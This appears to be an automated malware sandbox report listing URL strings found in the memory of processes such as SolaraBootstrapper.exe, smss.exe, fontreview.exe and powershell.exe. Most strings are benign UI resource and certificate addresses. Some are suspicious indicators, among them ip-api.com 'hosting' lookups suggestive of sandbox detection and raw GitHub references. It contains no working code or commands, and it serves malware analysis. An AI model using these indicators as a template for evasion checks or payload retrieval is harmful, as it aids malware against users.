Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/AccessText/AccessText.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/Anchor/Anchor.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/AutoSuggestBox/AutoSuggestBox.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/Badge/Badge.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/BreadcrumbBar/BreadcrumbBar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/Button/Button.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/Calendar/Calendar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/CalendarDatePicker/CalendarDatePicker.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/Card/Card.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/CardAction/CardAction.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/CardColor/CardColor.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/CardControl/CardControl.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/CardExpander/CardExpander.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/CheckBox/CheckBox.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ColorPicker/ColorPicker.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ComboBox/ComboBox.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ContentDialog/ContentDialog.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180829000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ContextMenu/ContextMenu.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ContextMenu/ContextMenuLoader.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/DataGrid/DataGrid.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/DatePicker/DatePicker.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/DropDownButton/DropDownButton.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/DynamicScrollBar/DynamicScrollBar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/DynamicScrollViewer/DynamicScrollViewer.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/Expander/Expander.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/NumberBox/NumberBox.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ProgressRing/ProgressRing.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/RichTextBox/RichTextBox.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ScrollBar/ScrollBar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/SplitButton/SplitButton.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/StatusBar/StatusBar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/TimePicker/TimePicker.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ToggleButton/ToggleButton.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/ToolBar/ToolBar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/TreeView/TreeView.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Controls/VirtualizingWrapPanel/VirtualizingWrapPanel.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/Accent.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/DefaultContextMenu.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/DefaultFocusVisualStyle.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/DefaultTextBoxScrollViewerStyle.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/Fonts.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/Palette.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/StaticColors.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/Theme/Light.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/Typography.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/Variables.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Wpf.Ui;component/Resources/Wpf.Ui.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/WpfApp1;component/MainWindow.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/WpfApp1;component/New%20Project%20(37).png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/icons8-attach-40.png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/icons8-erase-40.png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/icons8-open-file-40%20(1).png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/icons8-save-40.png
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://df.edge.bdkj.bailiana.com
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dongtaiwang.com/loc/phome.php?v=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dongtaiwang.com/loc/phome.php?v=allow-redirect
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dongtaiwang.com/loc/phome.php?v=odo
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/ScrollViewer/ScrollViewer.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/Slider/Slider.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/StatusBar/StatusBar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/ThumbRate/ThumbRate.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/TimePicker/TimePicker.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/ToggleButton/ToggleButton.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/ToggleSwitch/ToggleSwitch.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/ToolBar/ToolBar.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/VirtualizingGridView/VirtualizingGridView.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/VirtualizingWrapPanel/VirtualizingWrapPanel.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Controls/Window/Window.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/MainWindow.xaml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/New%20Project%20(37).png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/progressbar/progressbar.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/ratingcontrol/ratingcontrol.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/scrollviewer/scrollviewer.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/slider/slider.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/snackbar/snackbar.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/statusbar/statusbar.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/textblock/textblock.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/timepicker/timepicker.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/togglebutton/togglebutton.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/tooltip/tooltip.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/treeview/treeview.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/treeview/treeviewitem.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/virtualizinggridview/virtualizinggridview.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/virtualizingitemscontrol/virtualizingitemscontrol.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/controls/window/window.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/icons8-attach-40.png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/icons8-erase-40.png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/icons8-open-file-40%20(1).png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/icons8-save-40.png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/mainwindow.baml
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/new%20project%20(37).png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/icons8-attach-40.png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/icons8-erase-40.png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/icons8-open-file-40%20(1).png
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/icons8-save-40.png
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hao123.di178.com/?
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hao123kjedge.dh.softby.cn
Source: fontreview.exe, 0000000A.00000002.1438813876.000000000269B000.00000004.00000800.00020000.00000000.sdmp, fontreview.exe, 0000000A.00000002.1438813876.000000000284F000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.1539162288.000000000289A000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.1539162288.00000000026DC000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.1539162288.000000000289F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: smss.exe, 0000002D.00000002.1539162288.00000000026DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 0000000B.00000002.2696584496.0000017140F53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2956752639.0000014DBA466000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2930865740.00000128D83F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2775683103.000001F210077000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1815650740.0000024515436000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000001E.00000002.1599959323.000002CE85097000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: msedgewebview2.exe, 0000003A.00000002.1702269800.00003698004F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://playinfo.gomlab.com/ending_browser.gom?product=GOMPLAYER
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18046D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000000.1609627288.000001F1F6E92000.00000002.00000001.01000000.00000015.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18046D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.lepo.co/wpfui/2022/xaml
Source: powershell.exe, 0000000B.00000002.1544114354.0000017131109000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1602726763.0000014DAA617000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1582914780.00000128C85A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1553162384.000001F200228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1505040607.00000245055E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1599959323.000002CE85097000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002751000.00000004.00000800.00020000.00000000.sdmp, fontreview.exe, 0000000A.00000002.1438813876.000000000269B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1544114354.0000017130EE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1602726763.0000014DAA3F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1582914780.00000128C8381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1553162384.000001F200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1505040607.00000245053C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1599959323.000002CE84E71000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.1539162288.00000000026DC000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.1544114354.0000017131109000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1602726763.0000014DAA617000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1582914780.00000128C85A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1553162384.000001F200228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1505040607.00000245055E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1599959323.000002CE85097000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: msedgewebview2.exe, 0000003A.00000002.1704630702.00003698009F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.4399.com/flash/32979.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.4399.com/flash/48399.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.4399.com/flash/seer.htm
Source: powershell.exe, 0000001E.00000002.1599959323.000002CE85097000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: msedgewebview2.exe, 0000003A.00000002.1702671767.00003698005EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org1
